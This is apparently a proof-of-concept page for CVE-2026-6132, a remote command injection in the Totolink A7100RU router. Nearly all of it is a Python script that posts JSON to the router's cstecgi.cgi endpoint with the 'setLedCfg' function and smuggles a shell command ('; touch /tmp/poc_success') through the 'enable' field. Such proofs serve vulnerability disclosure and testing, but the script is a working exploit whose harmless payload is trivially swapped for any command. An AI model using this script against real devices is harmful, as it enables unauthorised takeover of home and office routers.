CVE-2026-6132 Totolink A7100RU远程命令注入漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.1.1/cgi-bin/cstecgi.cgi" # Malicious payload to inject OS command # Example: enabling LED and then creating a file to prove execution payload = "; touch /tmp/poc_success" # Construct the data payload based on vulnerability analysis headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/json" } data = { "function": "setLedCfg", "enable": payload } try: response = requests.post(target_url, json=data, headers=headers, timeout=5) print(f"[+] Request sent to {target_url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body: {response.text}") if response.status_code == 200: print("[+] Exploit request sent successfully. Check device for command execution.") except Exception as e: print(f"[-] An error occurred: {e}")